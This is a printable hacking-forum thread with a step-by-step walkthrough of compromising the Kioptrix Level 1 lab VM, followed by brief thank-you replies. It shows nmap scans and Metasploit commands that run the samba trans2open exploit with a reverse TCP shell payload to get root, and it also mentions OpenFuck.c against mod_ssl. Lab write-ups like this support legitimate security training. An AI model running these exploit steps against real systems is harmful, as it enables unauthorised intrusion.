![]() |
|
[walkthrough] Kioptix Level 1 - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Hacking (https://sinister.li/Forum-Hacking) +--- Forum: Tutorials (https://sinister.li/Forum-Tutorials) +--- Thread: [walkthrough] Kioptix Level 1 (/Thread-walkthrough-Kioptix-Level-1) |
[walkthrough] Kioptix Level 1 - MrGeek - 06-11-2013 [Walkthrough] Kioptix Level 1 I am going to demonstrate how we can pawn Kioptix Level 1 Challenging server. Kioptix series are well known , made by hackers for hackers. You can download them at >> Quote:http://www.kioptix.comChallenging servers are also called "boot-to-root" It is safe to test on your own local machine. Here we go ![]() (0x01) Prepare for battle We open the vmdk (vm disk) to boot the kioptix. If everythings fine, you will see the welcome screen of Red hat linux logon. There may be various way which we can take privilege. But now I will demonstrate with MSF. (0x02) Reconnaissance We must first reconnaissance to our enemy ![]() So I perform a basic nmap Spoiler:![]() Code: $. nmap 192.168.37.1/24Spoiler:![]() Now we could see the general results showing services running along the server. Spoiler:![]() I marked down the IP and load in the browser to see what we can take advantage. The front page is merely a test page but wait there are some Links. Spoiler:![]() Let's follow the links and you will see some mods. Spoiler:![]() You can see ,they use mod_ssl which we can pawn with Openfuck.c. But right now, I would take advantage of "netbios-ssn" service along with msf. So I deep scan again using this cmd Code: $. nmap 192.168.37.128 -sV -PN -AYou could see a bunch of ports with services are open. Take a look at 139 port number. It's sevice is "samba"!. So, next.... (0x03) Launch primary weapon So , I use my nuclear ~ Metasploit.When I got to msf_console. I search for exploits naming "samba" Code: msf > search "linux samba"As you can see , a ton of exploits and payloads are shown up. I looked for linux samba and the exploit name exploit/linux/samba/trans2open. For now we will use that one. Spoiler:![]() Code: msf > use exploit/linux/samba/trans2openNow, we have to configure the weapon to be maximum level ![]() I started with general options Code: msf > show optionsAs you can see, we have to adjust current settings ...so Code: msf > set rhost 192.168.37.128now , we have to choose which payload we should use. So.. Code: msf > show payloadsSpoiler:![]() A ton of payloads are shown up. I choose linux/x86/shell_reverse_tcp Code: msf > set payload linux/x86/shell_reverse_tcpSee options again. Code: msf > show optionswe have to the local host with our IP. Code: msf > set lhost 192.168.37.1So everything is configured and now we can start our attack. Code: msf > exploitSpoiler:![]() Boom~!!! We can see shell sessions :dance: type around and play with root ![]() Regards Mr.Geek@HC:~# logout RE: [walkthrough] Kioptix Level 1 - diana32 - 06-11-2013 Seems to be a nice game thanks for share
RE: [walkthrough] Kioptix Level 1 - RogueCoder - 06-11-2013 Nice share mate! ![]() Great too see more walk-through's here
RE: [walkthrough] Kioptix Level 1 - MrGeek - 06-12-2013 Thanks bros.... Let's make the walkthroughs on HC better ever
RE: [walkthrough] Kioptix Level 1 - Ex094 - 06-12-2013 Nice one mate btw where can I find these challenges? So I can solve and share my Walkthrough too ![]() EDIT: Nevermind, I found some good challenges from Hackademic. I'll be trying those RE: [walkthrough] Kioptix Level 1 - MrGeek - 06-12-2013 (06-12-2013, 08:25 AM)Ex094 Wrote: Nice one mate btw where can I find these challenges? So I can solve and share my Walkthrough too Here Hooded Robin a.k.a Mr.Green 's... collection of Challenging servers. All credits go to him ![]() Quote:Kioptrix Challenge Servers: |